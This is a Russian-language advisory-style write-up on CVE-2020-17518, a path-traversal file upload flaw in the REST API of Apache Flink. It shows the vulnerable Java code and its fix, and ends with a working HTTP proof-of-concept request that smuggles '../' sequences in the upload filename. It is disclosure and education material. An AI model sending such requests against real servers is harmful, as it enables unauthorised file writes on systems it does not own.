
[CVE-2020-17518] Apache Flink RESTful API: произвольная загрузка файлов через обход каталога
[CVE-2020-17518] RESTful API Apache Flink: произвольная загрузка файлов через обход каталога
Apache Flink — это фреймворк и распределённый движок обработки для вычислений с сохранением состояния над безграничными и ограниченными потоками данных, разработанный на Java и Scala. REST-обработчик, представленный в Apache Flink 1.5.1, уязвим к произвольной загрузке файлов через обход каталога. Данная уязвимость позволяет злоумышленникам загружать файлы в произвольные каталоги локальной файловой системы с помощью специально сформированных HTTP-запросов.
Хотя все версии до 1.11.3 подвержены данной уязвимости, в Apache Flink она исправлена в версиях 1.11.3 и выше.
Уязвимый код находится в классе src/main/java/org/apache/flink/runtime/rest/FileUploadHandler.java. Соответствующий фрагмент кода приведён ниже.
import javax.annotation.Nullable;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
final DiskFileUpload fileUpload = (DiskFileUpload) data;
checkState(fileUpload.isCompleted());
final Path dest = currentUploadDir.resolve(fileUpload.getFilename());
fileUpload.renameTo(dest.toFile());
LOG.trace("Upload of file {} complete.", fileUpload.getFilename());
} else if (data.getHttpDataType() == InterfaceHttpData.HttpDataType.Attribute) {
final Attribute request = (Attribute) data;
Проблема в том, что пользовательский ввод — параметр filename — никак не санитизируется. В этом коммите уязвимость исправлена: чтобы удалить любую информацию о пути, имя файла оборачивается в новый экземпляр класса File.
import javax.annotation.Nullable;
import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
final DiskFileUpload fileUpload = (DiskFileUpload) data;
checkState(fileUpload.isCompleted());
//final Path dest = currentUploadDir.resolve(fileUpload.getFilename());
final Path dest = currentUploadDir.resolve(new File(fileUpload.getFilename()).getName());
fileUpload.renameTo(dest.toFile());
//LOG.trace("Upload of file {} complete.", fileUpload.getFilename());
LOG.trace("Upload of file {} into destination {} complete.", fileUpload.getFilename(), dest.toString());
} else if (data.getHttpDataType() == InterfaceHttpData.HttpDataType.Attribute) {
final Attribute request = (Attribute) data;
Proof of Concept (PoC): Чтобы воспользоваться данной уязвимостью, можно отправить следующий запрос
POST /jars/upload HTTP/1.1
Host: vulnerablehost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 217
------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/CVE-2020-17519-PoC.txt"
This is the PoC file
------WebKitFormBoundaryoZ8meKnrrso89R6Y--
Даже если код состояния ответа — 400 Bad Request, файл успешно загружается на сервер.
HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=UTF-8
Access-Control-Allow-Origin: *
content-length: 6017